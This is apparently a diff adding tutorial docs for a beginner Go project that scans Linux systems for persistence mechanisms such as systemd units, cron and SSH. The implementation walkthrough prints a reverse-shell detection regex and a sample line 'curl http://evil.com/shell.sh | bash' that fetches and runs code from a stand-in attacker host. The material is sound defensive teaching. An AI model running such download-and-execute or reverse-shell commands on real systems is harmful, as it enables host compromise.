+**internal/cli:** Cobra command definitions, flag parsing, scan orchestration. Imports scanner, config, baseline, report, ui.
+
+**internal/report + ui:** Terminal formatting, JSON encoding, color functions, spinner. Imports pkg/types and ui.
+
+## Data Models
+
+### Finding
+
+```go
+type Finding struct {
+    Scanner  string   `json:"scanner"`
+    Severity Severity `json:"severity"`
+    Title    string   `json:"title"`
+    Path     string   `json:"path"`
+    Evidence string   `json:"evidence"`
+    MITRE    string   `json:"mitre"`
+}
+```
+
+**Fields:**
+- `Scanner`: Which module produced this finding ("systemd", "cron", "ssh", etc.)
+- `Severity`: Enum from Info (0) to Critical (4), serializes as int in JSON
+- `Title`: Human-readable description of what was found
+- `Path`: Absolute filesystem path to the file containing the finding
+- `Evidence`: The actual line or content that triggered the finding, truncated for display
+- `MITRE`: ATT&CK technique ID (e.g., "T1543.002")
+
+### ScanResult
+
+```go
+type ScanResult struct {
+    Version    string        `json:"version"`
+    ScanTime   time.Time     `json:"scan_time"`
+    Hostname   string        `json:"hostname"`
+    Findings   []Finding     `json:"findings"`
+    Summary    SeverityCount `json:"summary"`
+    DurationMs int64         `json:"duration_ms"`
+}
+```
+
+This is the complete output of a scan, used by both the terminal renderer and JSON encoder. It includes metadata (version, hostname, timing) alongside the findings and pre-computed severity counts.
+
+### Scanner Interface
+
+```go
+type Scanner interface {
+    Name() string
+    Scan(root string) []Finding
+}
+```
+
+Every scanner module implements this two-method interface. Name() returns a human-readable identifier. Scan() takes a filesystem root path and returns all findings. The root parameter enables scanning mounted filesystems, chroots, or test fixture directories instead of the live system.
+
+## Design Decisions
+
+### Why a Flat Scanner Package Instead of Sub-Packages
+
+All 17 scanners live in `internal/scanner/` as separate files in the same package. An alternative would be `internal/scanner/systemd/`, `internal/scanner/cron/`, etc.
+
+**What we chose:** Single package with one file per scanner.
+
+**Why:** Scanners share helpers (ReadLines, ListFiles, ResolveRoot, FindUserDirs, ScanFileForPatterns), the pattern engine (MatchLine, all compiled regexes), and the registry (Register). Putting them in separate packages would require exporting all of these or creating a shared utilities package. A single package keeps the shared code unexported and co-located.
+
+**Trade-offs:** The scanner package has many files, but each file is self-contained and focused. The init() registration pattern means there's no central "list of scanners" to maintain.
+
+### Why No External Dependencies for Scanning Logic
+
+The scanner package uses only the standard library (os, path/filepath, strings, regexp, bufio) plus pkg/types. The only external dependencies are in the CLI and UI layers (cobra, fatih/color) and the concurrency layer (errgroup).
+
+**Why:** The scanning logic must be trustworthy. External dependencies in the detection path could introduce supply chain risk. Keeping the core detection engine dependency-free means it can be audited by reading Go standard library code.
+
+### Why Compiled Regexes in Package-Level Variables
+
+Patterns like `ReverseShellPattern` and `DownloadExecPattern` are compiled once at package initialization as `var` declarations with `regexp.MustCompile()`. An alternative would be compiling them on first use or passing them as parameters.
+
+**Why:** Regexes are compiled exactly once when the package loads. Every subsequent MatchLine() call uses the compiled automaton. Package-level vars are safe for concurrent reads, and all writes happen before main() runs.
+
+## Extensibility
+
+### Adding a New Scanner
+
+1. Create a new file in internal/scanner/ (e.g., `docker.go`)
+2. Define a struct that implements types.Scanner:
+   ```go
+   type DockerScanner struct{}
+
+   func (d *DockerScanner) Name() string { return "docker" }
+   func (d *DockerScanner) Scan(root string) []types.Finding { ... }
+   ```
+3. Register in init():
+   ```go
+   func init() { Register(&DockerScanner{}) }
+   ```
+4. Create test file `docker_test.go` with testdata fixtures
+
+No other files need to change. The registry discovers it automatically.
+
+### Adding a New Pattern
+
+Add to `internal/scanner/patterns.go`:
+
+```go
+var NewPattern = regexp.MustCompile(`...`)
+```
+
+Add to the SuspiciousPatterns slice:
+
+```go
+{NewPattern, types.SeverityHigh, "description of what this detects"},
+```
+
+Every scanner that calls MatchLine() or ScanFileForPatterns() will immediately start checking for the new pattern.
+
+## Key Files Reference
+
+- `cmd/sentinel/main.go` - Entry point, blank import triggers scanner registration
+- `pkg/types/types.go` - All domain types (Finding, Severity, Scanner interface)
+- `internal/scanner/scanner.go` - Registry and parallel RunAll()
+- `internal/scanner/patterns.go` - All 16 compiled regex patterns and MatchLine()
+- `internal/scanner/helpers.go` - Shared filesystem utilities and ScanFileForPatterns()
+- `internal/cli/root.go` - Cobra root command and global flags
+- `internal/cli/scan.go` - Scan subcommand orchestration
+- `internal/cli/baseline.go` - Baseline save/diff subcommands
+- `internal/baseline/baseline.go` - JSON snapshot persistence and diff
+- `internal/config/config.go` - Ignore-list loading and filtering
+
+## Next Steps
+
+Now that you understand the architecture:
+1. Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) for a walkthrough of the pattern engine, scanner implementations, and baseline diffing code
+2. Try running `sentinel scan --root testdata` and trace the output back to the scanner source code to see the architecture in action

PROJECTS/beginner/systemd-persistence-scanner/learn/03-IMPLEMENTATION.md

@@ -0,0 +1,562 @@
+# Implementation Walkthrough
+
+This document walks through the actual code. We'll cover the pattern engine, scanner module structure, the parallel execution pipeline, baseline diffing, and the ignore-list mechanism.
+
+## File Structure Walkthrough
+
+```
+systemd-persistence-scanner/
+├── cmd/sentinel/
+│   └── main.go              # Entry point, blank import for scanner registration
+├── pkg/types/
+│   └── types.go             # Severity, Finding, ScanResult, Scanner interface
+├── internal/
+│   ├── cli/
+│   │   ├── root.go          # Cobra root command, global flags
+│   │   ├── scan.go          # Scan subcommand
+│   │   └── baseline.go      # Baseline save/diff subcommands
+│   ├── scanner/
+│   │   ├── scanner.go       # Registry and RunAll()
+│   │   ├── patterns.go      # 16 compiled regexes and MatchLine()
+│   │   ├── helpers.go       # Shared filesystem utilities
+│   │   ├── systemd.go       # Systemd unit scanner
+│   │   ├── cron.go          # Cron job scanner
+│   │   ├── profile.go       # Shell profile scanner
+│   │   ├── ssh.go           # SSH config/keys scanner
+│   │   ├── sshrc.go         # System-wide sshrc scanner
+│   │   ├── preload.go       # LD_PRELOAD scanner
+│   │   ├── kernel.go        # Kernel module scanner
+│   │   ├── udev.go          # Udev rules scanner
+│   │   ├── initd.go         # Init.d/rc.local scanner
+│   │   ├── xdg.go           # XDG autostart scanner
+│   │   ├── atjob.go         # At job scanner
+│   │   ├── motd.go          # MOTD scripts scanner
+│   │   ├── pam.go           # PAM config scanner
+│   │   ├── logrotate.go     # Logrotate hooks scanner
+│   │   ├── generator.go     # Systemd generator scanner
+│   │   ├── completion.go    # Bash completion scanner
+│   │   └── netifhook.go     # Network interface hooks scanner
+│   ├── baseline/
+│   │   └── baseline.go      # Snapshot save/load/diff
+│   ├── config/
+│   │   └── config.go        # Ignore-list parsing and filtering
+│   ├── report/
+│   │   ├── terminal.go      # Color-coded terminal output
+│   │   └── json.go          # Structured JSON output
+│   └── ui/
+│       ├── banner.go        # ASCII SENTINEL banner
+│       ├── color.go         # ANSI color functions (fatih/color wrappers)
+│       └── spinner.go       # Braille frame spinner animation
+└── testdata/                # Per-scanner fixture files
+```
+
+## The Pattern Engine
+
+The pattern engine is the core detection mechanism. Every scanner delegates content analysis to it.
+
+### Compiled Regex Patterns
+
+All patterns are compiled once at package initialization. Each pattern targets a specific class of suspicious behavior:
+
+```go
+var ReverseShellPattern = regexp.MustCompile(
+    `/dev/tcp/` +
+        `|` +
+        `\bmkfifo\b.*\bnc\b` +
+        `|` +
+        `\bsocat\b.*\bexec\b` +
+        `|` +
+        `python[23]?\s+-c\s+.*socket` +
+        `|` +
+        `perl\s+-e\s+.*socket` +
+        `|` +
+        `ruby\s+-rsocket`,
+)
+```
+
+This single regex matches six different reverse shell implementations. The `\b` word boundary anchors prevent false positives on strings that happen to contain "nc" as a substring (like "once" or "function").
+
+The `regexp.MustCompile` call panics if the regex is invalid. This is intentional: a broken pattern is a compile-time bug, not a runtime error. If the pattern compiles, it's guaranteed to work for the lifetime of the program.
+
+### The SuspiciousPatterns Slice
+
+Patterns are collected into an ordered slice with severity labels:
+
+```go
+var SuspiciousPatterns = []PatternMatch{
+    {ReverseShellPattern, types.SeverityCritical, "reverse shell pattern"},
+    {DownloadExecPattern, types.SeverityHigh, "download-and-execute chain"},
+    {EncodingPattern, types.SeverityHigh, "encoded/obfuscated payload"},
+    {NetworkToolPattern, types.SeverityMedium, "network tool invocation"},
+    // ... 12 more patterns
+}
+```
+
+The ordering doesn't affect matching (all patterns are checked), but it documents the severity hierarchy. Critical patterns like reverse shells and SUID manipulation appear first. Medium patterns like network tool invocations appear later.
+
+### MatchLine: The Core API
+
+Every scanner calls this function to analyze a line of text:
+
+```go
+func MatchLine(
+    line string,
+) (matched bool, sev types.Severity, label string) {
+    best := types.SeverityInfo
+    for _, p := range SuspiciousPatterns {
+        if p.Pattern.MatchString(line) {
+            if !matched || p.Severity > best {
+                best = p.Severity
+                label = p.Label
+            }
+            matched = true
+        }
+    }
+    return matched, best, label
+}
+```
+
+The key design decision: when a line matches multiple patterns, only the highest severity is returned. Consider this line:
+
+```
+curl http://evil.com/shell.sh | bash
+```
+
+This matches NetworkToolPattern (medium: "network tool invocation") and DownloadExecPattern (high: "download-and-execute chain"). MatchLine returns "high" with the label "download-and-execute chain" because that's the more specific and dangerous classification.
+
+Without this deduplication, a single malicious line would generate multiple findings at different severities, creating noise and confusion in the report.
+
+## Scanner Module Structure
+
+Every scanner follows the same structure. Let's walk through the systemd scanner as the most complex example.
+
+### Registration and Interface
+
+```go
+func init() {
+    Register(&SystemdScanner{})
+}
+
+type SystemdScanner struct{}
+
+func (s *SystemdScanner) Name() string {
+    return systemdScannerName
+}
+```
+
+The empty struct carries no state. Scanners are stateless: they receive a root path, read files, and return findings. No caching, no configuration, no side effects beyond filesystem reads.
+
+### Directory Enumeration
+
+```go
+func (s *SystemdScanner) Scan(root string) []types.Finding {
+    var findings []types.Finding
+
+    for _, dir := range systemdDirs {
+        resolved := ResolveRoot(root, dir)
+        findings = append(findings, s.scanDir(resolved)...)
+    }
+
+    for _, home := range FindUserDirs(root) {
+        userDir := filepath.Join(home, ".config", "systemd", "user")
+        findings = append(findings, s.scanDir(userDir)...)
+    }
+
+    return findings
+}
+```
+
+The scanner checks three system directories (/etc/systemd/system, /run/systemd/system, /usr/lib/systemd/system) plus per-user directories under ~/.config/systemd/user/. ResolveRoot() translates absolute paths relative to the scan root, enabling scanning of mounted filesystems or test fixtures.
+
+### Unit File Analysis
+
+The scanDir method filters files by extension (.service, .timer, .socket, .path) and maps each extension to its MITRE technique:
+
+```go
+mitre := mitreSystemd
+switch ext {
+case ".timer":
+    mitre = mitreTimer
+case ".path":
+    mitre = mitrePath
+}
+```
+
+Timers get T1053.006 (Systemd Timers), path units get T1543.002 (Systemd Service), and services/sockets get the default T1543.002. This granularity matters for ATT&CK coverage mapping.
+
+The analyzeUnit method parses Exec directives:
+
+```go
+for _, line := range lines {
+    trimmed := strings.TrimSpace(line)
+    for _, directive := range execDirectives {
+        if !strings.HasPrefix(trimmed, directive) {
+            continue
+        }
+        cmd := strings.TrimPrefix(trimmed, directive)
+        cmd = strings.TrimPrefix(cmd, "-")
+
+        matched, sev, label := MatchLine(cmd)
+        if matched {
+            findings = append(findings, types.Finding{...})
+        }
+    }
+}
+```
+
+The second TrimPrefix removes the "-" prefix that systemd uses to indicate "ignore exit code." The command content goes to MatchLine() for pattern analysis.
+
+After content analysis, the scanner checks two filesystem properties:
+
+```go
+if IsWorldWritable(path) {
+    findings = append(findings, types.Finding{
+        Severity: types.SeverityMedium,
+        Title:    "World-writable unit file",
+    })
+}
+
+if ModifiedWithin(path, 24*time.Hour) {
+    findings = append(findings, types.Finding{
+        Severity: types.SeverityMedium,
+        Title:    "Recently modified unit file",
+    })
+}
+```
+
+World-writable means any user can modify the file to inject malicious ExecStart commands. Recently modified (within 24 hours) is a heuristic: legitimate unit files change rarely, but a freshly planted backdoor was just written.
+
+### Drop-in Override Scanning
+
+Systemd supports drop-in directories (service-name.d/*.conf) that override the main unit file. Attackers can add an override that replaces ExecStart without touching the original file:
+
+```go
+entries := ListDir(dir)
+for _, e := range entries {
+    if e.IsDir() && strings.HasSuffix(e.Name(), ".d") {
+        dropinDir := filepath.Join(dir, e.Name())
+        for _, f := range ListFiles(dropinDir) {
+            if strings.HasSuffix(f, ".conf") {
+                findings = append(findings, s.analyzeUnit(f, mitreSystemd)...)
+            }
+        }
+    }
+}
+```
+
+This catches `sshd.service.d/override.conf` containing `ExecStartPost=/tmp/.backdoor`.
+
+## Shared Filesystem Helpers
+
+The helpers.go file provides safe file operations used by all scanners.
+
+### Graceful Permission Handling
+
+```go
+func ReadLines(path string) []string {
+    f, err := os.Open(path)
+    if err != nil {
+        return nil
+    }
+    defer f.Close()
+
+    var lines []string
+    sc := bufio.NewScanner(f)
+    for sc.Scan() {
+        lines = append(lines, sc.Text())
+    }
+    return lines
+}
+```
+
+Returning nil instead of an error is intentional. Scanners enumerate many directories, most of which may not exist on a given system. The cron scanner checks /var/spool/cron/crontabs/ which doesn't exist on systems that never used crontab. Returning nil lets the caller's nil-check skip the file silently.
+
+### ScanFileForPatterns Helper
+
+Many scanners use the same loop: read lines, skip comments, call MatchLine, collect findings. This is extracted into a shared helper:
+
+```go
+func ScanFileForPatterns(
+    path, scannerName, mitre string,
+) []types.Finding {
+    lines := ReadLines(path)
+    var findings []types.Finding
+
+    for _, line := range lines {
+        if IsCommentOrEmpty(line) {
+            continue
+        }
+        matched, sev, label := MatchLine(line)
+        if matched {
+            findings = append(findings, types.Finding{
+                Scanner:  scannerName,
+                Severity: sev,
+                Title:    label,
+                Path:     path,
+                Evidence: strings.TrimSpace(line),
+                MITRE:    mitre,
+            })
+        }
+    }
+    return findings
+}
+```
+
+Scanners like profile.go, sshrc.go, and completion.go use this directly. Scanners with custom parsing (systemd, cron, udev) use MatchLine() directly because they need to extract commands from structured formats before matching.
+
+## The Parallel Execution Pipeline
+
+### How RunAll Works
+
+```go
+func RunAll(root string) []types.Finding {
+    var (
+        mu  sync.Mutex
+        all []types.Finding
+        g   errgroup.Group
+    )
+
+    for _, s := range registry {
+        g.Go(func() error {
+            results := s.Scan(root)
+            mu.Lock()
+            all = append(all, results...)
+            mu.Unlock()
+            return nil
+        })
+    }
+
+    _ = g.Wait()
+    return all
+}
+```
+
+The loop variable `s` is captured by the closure correctly in Go 1.22+ (loop variable scoping change). Each goroutine gets its own copy of the scanner.
+
+The mutex protects append to the shared slice. This is the simplest correct approach. An alternative would be channels, but a mutex with append is clearer and slightly faster for this use case (17 goroutines with small bursts of findings).
+
+errgroup.Wait() blocks until all goroutines return. Since our goroutines always return nil, error handling is a no-op. We use errgroup instead of sync.WaitGroup because errgroup provides the same Wait() semantics with a cleaner API, and if we ever need to propagate scanner errors, the infrastructure is already in place.
+
+## Baseline Diffing
+
+### The Composite Key
+
+The diff algorithm uses a composite string key to match findings across scans:
+
+```go
+func findingKey(f types.Finding) string {
+    return f.Scanner + "|" + f.Path + "|" + f.Title
+}
+```
+
+This key identifies a unique finding. If the same scanner reports the same title for the same file path, it's considered the same finding regardless of severity changes. The pipe delimiter prevents ambiguity (no field value legitimately contains "|").
+
+Severity is excluded from the key intentionally. If a world-writable unit file gets its permissions fixed, the finding disappears entirely (good). If the finding's severity changes due to a pattern engine update, it doesn't show up as "new" (also good).
+
+### The Diff Algorithm
+
+```go
+func Diff(baseline Snapshot, current []types.Finding) []types.Finding {
+    known := make(map[string]bool, len(baseline.Findings))
+    for _, f := range baseline.Findings {
+        known[findingKey(f)] = true
+    }
+
+    var newFindings []types.Finding
+    for _, f := range current {
+        if !known[findingKey(f)] {
+            newFindings = append(newFindings, f)
+        }
+    }
+    return newFindings
+}
+```
+
+Build a set of known finding keys from the baseline. For each current finding, check if its key exists in the set. If not, it's new. O(n+m) time, O(n) space where n is baseline size and m is current scan size.
+
+## Ignore-List Filtering
+
+### Parser Design
+
+The ignore file uses a simplified YAML-like format:
+
+```yaml
+ignore:
+  - path: /etc/cron.d/certbot
+    scanner: cron
+  - title: Kernel module loaded at boot
+```
+
+The parser is a hand-written line-by-line state machine. It tracks whether we're inside the `ignore:` block and accumulates fields into IgnoreRule structs:
+
+```go
+func parseIgnoreFile(data []byte) (IgnoreList, error) {
+    var list IgnoreList
+    var current IgnoreRule
+    inIgnore := false
+
+    for _, rawLine := range strings.Split(string(data), "\n") {
+        line := strings.TrimSpace(rawLine)
+
+        if line == "ignore:" {
+            inIgnore = true
+            continue
+        }
+
+        if strings.HasPrefix(line, "- ") {
+            list.Rules = appendIfSet(list.Rules, current)
+            current = IgnoreRule{}
+            line = strings.TrimPrefix(line, "- ")
+        }
+
+        parseField(&current, strings.TrimSpace(line))
+    }
+
+    list.Rules = appendIfSet(list.Rules, current)
+    return list, nil
+}
+```
+
+A full YAML parser would be overkill for three fields. The hand-written parser has zero dependencies and handles the exact format the tool documents.
+
+### Matching Logic
+
+The filter applies AND logic within a rule and OR logic across rules:
+
+```go
+func (r IgnoreRule) matchesFinding(f types.Finding) bool {
+    if r.Path != "" && f.Path != r.Path {
+        return false
+    }
+    if r.Scanner != "" && f.Scanner != r.Scanner {
+        return false
+    }
+    if r.Title != "" && f.Title != r.Title {
+        return false
+    }
+    return true
+}
+```
+
+Empty fields are wildcards. A rule with only `scanner: cron` suppresses all cron findings. A rule with `path: /etc/cron.d/certbot` and `scanner: cron` suppresses only cron findings for that specific file. This lets users write precise suppression rules without over-suppressing.
+
+## Terminal Output
+
+### Severity-Colored Output
+
+The terminal renderer sorts findings by severity (critical first) and applies per-severity colors:
+
+```go
+var severityColor = map[types.Severity]func(a ...any) string{
+    types.SeverityCritical: ui.HiRedBold,
+    types.SeverityHigh:     ui.RedBold,
+    types.SeverityMedium:   ui.YellowBold,
+    types.SeverityLow:      ui.CyanBold,
+    types.SeverityInfo:     ui.Dim,
+}
+```
+
+Critical findings appear in bright bold red. Info findings appear dimmed. The visual hierarchy makes it possible to scan output and immediately spot the most dangerous findings.
+
+### The Spinner
+
+The spinner runs on its own goroutine while scanners work:
+
+```go
+func (s *Spinner) run() {
+    defer s.wg.Done()
+    fmt.Print("\033[?25l")  // hide cursor
+
+    ticker := time.NewTicker(80 * time.Millisecond)
+    defer ticker.Stop()
+
+    idx := 0
+    for {
+        select {
+        case <-s.done:
+            clearLine()
+            fmt.Print("\033[?25h")  // show cursor
+            return
+        case <-ticker.C:
+            frame := frames[idx%len(frames)]
+            fmt.Printf("\r  %s %s", CyanBold(frame), Magenta(s.msg))
+            idx++
+        }
+    }
+}
+```
+
+ANSI escape sequence `\033[?25l` hides the cursor to prevent flicker. The braille frames (`⠋ ⠙ ⠹ ⠸ ⠼ ⠴ ⠦ ⠧ ⠇ ⠏`) create a smooth rotation at 80ms per frame. The WaitGroup ensures Stop() blocks until the goroutine has cleaned up (cursor restored, line cleared).
+
+## Testing Strategy
+
+### Testdata Fixtures
+
+Each scanner has test fixtures in the testdata/ directory. The fixtures are real-format files with known content:
+
+```
+testdata/
+├── systemd/          # .service, .timer, .path files
+├── cron/             # Crontab entries
+├── ssh/              # sshd_config variants
+├── sshrc/            # Clean and malicious sshrc
+├── preload/          # ld.so.preload entries
+├── kernel/           # modules-load.d and modprobe.d configs
+├── udev/             # Udev rules with RUN+=
+├── initd/            # Init scripts and rc.local
+├── xdg/              # .desktop files
+├── atjob/            # At job spool files
+├── motd/             # MOTD scripts
+├── pam/              # PAM configs
+├── logrotate/        # Clean and malicious logrotate configs
+├── generator/        # Generator executables
+├── completion/       # Bash completion scripts
+└── netifhook/        # Network interface hooks
+```
+
+Tests use t.TempDir() to create an isolated filesystem tree, copy fixture data in, and point the scanner at the temp root:
+
+```go
+func TestSystemdScanner_MaliciousService(t *testing.T) {
+    root := t.TempDir()
+    svcDir := filepath.Join(root, "etc", "systemd", "system")
+    os.MkdirAll(svcDir, 0o750)
+
+    src := filepath.Join(testdataDir(), "systemd", "backdoor.service")
+    data, _ := os.ReadFile(src)
+    writeTestFile(t, filepath.Join(svcDir, "backdoor.service"), string(data))
+
+    s := &SystemdScanner{}
+    findings := s.Scan(root)
+
+    // Assert findings match expected detections
+}
+```
+
+The scanner has no idea it's running against a temp directory. It calls ResolveRoot(root, "/etc/systemd/system") which returns the temp path. This is why every scanner takes a root parameter instead of hardcoding absolute paths.
+
+### Running Tests
+
+```bash
+go test -race ./...
+```
+
+The `-race` flag enables the race detector, which is essential because scanners run concurrently. Any unsafe access to shared state during RunAll() will cause a test failure with a detailed goroutine trace.
+
+## Dependencies
+
+### Why Each Dependency
+
+- **github.com/spf13/cobra v1.10.2**: CLI framework. Provides subcommands, persistent flags, help generation. The standard choice for Go CLI tools
+- **github.com/fatih/color v1.19.0**: Terminal color output. Handles ANSI codes and Windows compatibility. The most widely used Go terminal color library
+- **golang.org/x/sync v0.20.0**: Provides errgroup for structured goroutine coordination. Part of the Go extended standard library
+
+Zero dependencies in the scanning logic. cobra and color are CLI/UI concerns. errgroup is concurrency infrastructure.
+
+## Next Steps
+
+You've seen how the code works. Now:
+
+1. **Try the challenges** - [04-CHALLENGES.md](./04-CHALLENGES.md) has extension ideas from adding new scanners to YARA integration
+2. **Run against testdata** - `sentinel scan --root testdata` exercises the pattern engine against known-malicious fixtures
+3. **Add a scanner** - Pick a persistence mechanism not covered (Docker, containerd, cloud-init) and implement it following the existing pattern

PROJECTS/beginner/systemd-persistence-scanner/learn/04-CHALLENGES.md

@@ -0,0 +1,251 @@
+# Extension Challenges
+
+Ideas for extending this project, ordered by difficulty. Each one teaches a different skill. Don't feel like you need to do them in order.
+
+## Easy Challenges
+
+### 1. Add a Docker Persistence Scanner
+
+Docker containers can be configured to restart automatically, and Docker volumes can mount host paths that persist across container restarts. Attackers use `--restart=always` containers and bind mounts to /etc/cron.d as persistence mechanisms.
+
+**What to build:** A scanner that checks /etc/docker/daemon.json for insecure configurations (like `--insecure-registry`), enumerates Dockerfiles in common locations, and checks for docker.service overrides.
+
+**What you'll learn:** How container orchestration creates new persistence surfaces that traditional scanners miss.
+
+**Hints:**
+- Start with checking if /etc/docker/daemon.json exists and parsing it for suspicious settings
+- Check /etc/systemd/system/docker.service.d/ for drop-in overrides
+- MITRE technique: T1610 (Deploy Container)
+
+**Test it works:** Create testdata/docker/daemon.json with an insecure configuration and verify the scanner flags it.
+
+### 2. Add Cloud-Init Persistence Scanner
+
+Cloud-init runs on first boot (and optionally on every boot) in cloud VMs. User data scripts in /var/lib/cloud/instance/scripts/ and cloud-config in /var/lib/cloud/instance/user-data.txt can contain arbitrary commands.
+
+**What to build:** Scan cloud-init locations for user-data scripts containing network tools, encoded payloads, or download-and-execute chains.
+
+**What you'll learn:** How cloud initialization creates a persistence vector unique to cloud environments.
+
+**Hints:**
+- Key directories: /var/lib/cloud/instance/, /var/lib/cloud/scripts/per-boot/
+- Use ScanFileForPatterns() since cloud-init scripts are plain shell
+- MITRE technique: T1078.004 (Valid Accounts: Cloud Accounts)
+
+### 3. Add Severity-Based Exit Codes
+
+CI/CD pipelines need a way to fail builds when critical findings exist. Right now sentinel always exits 0.
+
+**What to build:** Exit code 1 when findings at or above a specified severity are found. Add a `--fail-on` flag that sets the threshold.
+
+**What you'll learn:** How security tools integrate into automated pipelines. Most commercial scanners use exit codes for policy enforcement.
+
+**Hints:**
+- Add `--fail-on` as a persistent flag alongside `--min-severity`
+- After printing output, check if any findings meet the threshold
+- Exit code 0 = clean, 1 = findings above threshold, 2 = scan error
+
+**Test it works:**
+```bash
+sentinel scan --root testdata --fail-on critical; echo $?
+```
+
+## Intermediate Challenges
+
+### 4. Add Glob Pattern Matching to Ignore Rules
+
+Currently ignore rules match exact paths. Real-world usage needs glob patterns like `/etc/cron.d/*` or `/home/*/.*rc`.
+
+**What to build:** Extend the ignore-list matcher to support shell glob patterns using `filepath.Match()`.
+
+**What you'll learn:** How to balance expressiveness with safety in configuration formats. Glob patterns are more useful than exact matches but introduce the risk of over-suppression.
+
+**Implementation approach:**
+
+1. Modify `matchesFinding` in config.go to check if the path field contains glob characters (*, ?, [)
+2. If it does, use `filepath.Match(rule.Path, finding.Path)` instead of exact comparison
+3. Add test cases for wildcard and question mark patterns
+4. Document the supported glob syntax in the ignore file format
+
+**Hints:**
+- `filepath.Match()` is safe (no `**` recursion, no regex injection)
+- Consider adding a `pattern:` field separate from `path:` if you want to preserve backward compatibility
+
+### 5. Add HTML Report Output
+
+JSON is great for machines. Terminal output is great for quick checks. But incident response reports need to be shared with management and legal teams who don't read terminals.
+
+**What to build:** An `--html` flag that generates a self-contained HTML report with findings grouped by severity, sortable tables, and expandable evidence sections.
+
+**What you'll learn:** Report generation, Go's html/template package, and how to produce self-contained (no external CSS/JS dependencies) HTML documents.
+
+**Implementation approach:**
+
+1. Create internal/report/html.go with an HTML template
+2. Embed the CSS inline in a `<style>` block
+3. Use severity colors from the terminal renderer as hex codes
+4. Include the scan metadata (hostname, timestamp, duration) in a header
+
+**Hints:**
+- Use `html/template` (not `text/template`) to auto-escape evidence strings that might contain HTML
+- Embed the template with `//go:embed` for a single-binary deployment
+- Consider a summary chart using pure CSS bar widths (no JavaScript needed)
+
+### 6. Add File Hash Collection
+
+When a finding references a suspicious file, incident responders need to verify it hasn't changed. Collecting SHA256 hashes at scan time provides a tamper-evident record.
+
+**What to build:** Add a `Hash` field to types.Finding. Compute SHA256 for every file that produces a finding above info severity.
+
+**What you'll learn:** How forensic tools chain evidence with cryptographic hashes, and the performance implications of hashing files during a scan.
+
+**Hints:**
+- Use `crypto/sha256` and `io.Copy()` for streaming hash computation
+- Only hash regular files, not directories or symlinks
+- Add the hash to both terminal and JSON output
+- Consider a `--no-hash` flag for performance-sensitive environments
+
+## Advanced Challenges
+
+### 7. Add YARA Rule Integration
+
+YARA is the industry standard for pattern matching in files. Security teams write YARA rules to detect specific malware families, threat actor tooling, and indicators of compromise. Integrating YARA would let sentinel use the same rules as commercial EDR products.
+
+**What to build:** A `--yara-rules` flag that loads a YARA rules file and applies it to every file that scanners examine. YARA matches produce findings with the rule name as the title.
+
+**What you'll learn:** CGo integration (YARA's Go bindings use CGo), rule-based detection engines, and how the commercial security industry approaches pattern matching.
+
+**Architecture changes needed:**
+
+```
+Scanner
+   │
+   ├── MatchLine() (existing regex engine)
+   │
+   └── MatchYARA() (new YARA engine)
+          │
+          ▼
+      yara.Rules compiled from user-provided .yar file
+```
+
+**Implementation steps:**
+
+1. Add github.com/hillu/go-yara/v4 dependency
+2. Create internal/scanner/yara.go with rule compilation and matching
+3. Modify ScanFileForPatterns to optionally apply YARA rules
+4. Map YARA rule metadata (severity, mitre) to Finding fields
+
+**Gotchas:**
+- CGo means cross-compilation becomes harder and builds are slower
+- YARA rule compilation is expensive; compile once and reuse the scanner object
+- Consider making YARA optional (build tag) to keep the zero-dependency default
+
+### 8. Add Remote Scanning via SSH
+
+Right now sentinel must be deployed on the target host. For fleet-wide scanning, SSH-based remote execution would let a single workstation scan hundreds of servers.
+
+**What to build:** A `sentinel remote scan --host user@server` command that SSH into the target, copies the binary, runs it, and streams JSON results back.
+
+**What you'll learn:** SSH protocol integration in Go, binary self-deployment, and the architectural difference between agent-based and agentless scanning.
+
+**Implementation steps:**
+
+1. Use golang.org/x/crypto/ssh for the SSH connection
+2. Use SFTP to copy the sentinel binary to the remote host
+3. Execute `sentinel scan --json` on the remote host
+4. Parse the JSON output locally and render it
+5. Clean up the remote binary after scanning
+
+**Gotchas:**
+- The binary must be compiled for the target architecture (GOOS/GOARCH)
+- SSH key authentication should be preferred over password
+- Consider a `--parallel` flag for scanning multiple hosts concurrently
+
+### 9. Add Timeline Analysis
+
+Instead of a point-in-time scan, build a timeline that shows when each persistence mechanism was installed by correlating file modification times, cron job schedules, and systemd unit timestamps.
+
+**What to build:** A `sentinel timeline` command that produces a chronological view of persistence installations, helping incident responders reconstruct the attack sequence.
+
+**What you'll learn:** Forensic timeline reconstruction, filesystem metadata analysis, and how time-based correlation reveals attack patterns that individual findings miss.
+
+**Implementation approach:**
+
+1. Extend Finding with a `Timestamp` field (file mtime)
+2. Sort findings by timestamp across all scanners
+3. Render as a chronological list with time deltas between events
+4. Highlight clusters of activity (multiple changes within minutes suggest automated installation)
+
+## Security Challenges
+
+### 10. Add Anti-Evasion Checks
+
+Attackers know about persistence scanners. They use techniques to evade detection:
+
+- Unicode homoglyphs in filenames (using Cyrillic "е" instead of Latin "e")
+- Null bytes in file content to break line-based parsing
+- Extremely long lines to exhaust regex engines (ReDoS)
+- Symlinks pointing outside the scan root
+- Hidden files (dotfiles) in unexpected locations
+
+**What to build:** Harden the scanner against these evasion techniques.
+
+**What you'll learn:** The adversarial mindset. Building a security tool that can itself be attacked teaches you to think like the attacker.
+
+**Specific checks to add:**
+- Detect non-ASCII characters in filenames and flag them
+- Follow symlinks cautiously (resolve and verify they stay within the scan root)
+- Set a maximum line length for pattern matching
+- Scan dotfiles explicitly (some scanners skip them)
+
+### 11. Add CIS Benchmark Cross-Reference
+
+Map sentinel findings to CIS Benchmark controls for the target distribution. A finding like "World-writable unit file" maps to CIS control 6.1.x (System File Permissions).
+
+**What to build:** A `--cis` flag that adds CIS control IDs alongside MITRE technique IDs in the output.
+
+**What you'll learn:** How compliance frameworks overlap with threat detection, and why organizations need both perspectives.
+
+## Performance Challenges
+
+### 12. Benchmark and Optimize Pattern Matching
+
+The current pattern engine runs all 16 regexes against every line. On systems with thousands of configuration files, this could become a bottleneck.
+
+**What to build:** Add benchmarks using `testing.B`, profile the pattern engine, and optimize hot paths.
+
+**What you'll learn:** Go profiling with pprof, regex performance characteristics, and when optimization matters versus when it doesn't.
+
+**Approach:**
+- Write benchmarks for MatchLine with various line types (matching, non-matching, long lines)
+- Profile with `go test -bench . -cpuprofile cpu.prof`
+- Consider: early exit on first match when severity ordering is irrelevant, pre-filtering with strings.Contains before regex, Aho-Corasick for literal patterns
+
+**Target:** Scan 10,000 files in under 1 second on a single core.
+
+## Contribution Ideas
+
+Finished a challenge? Share it back:
+
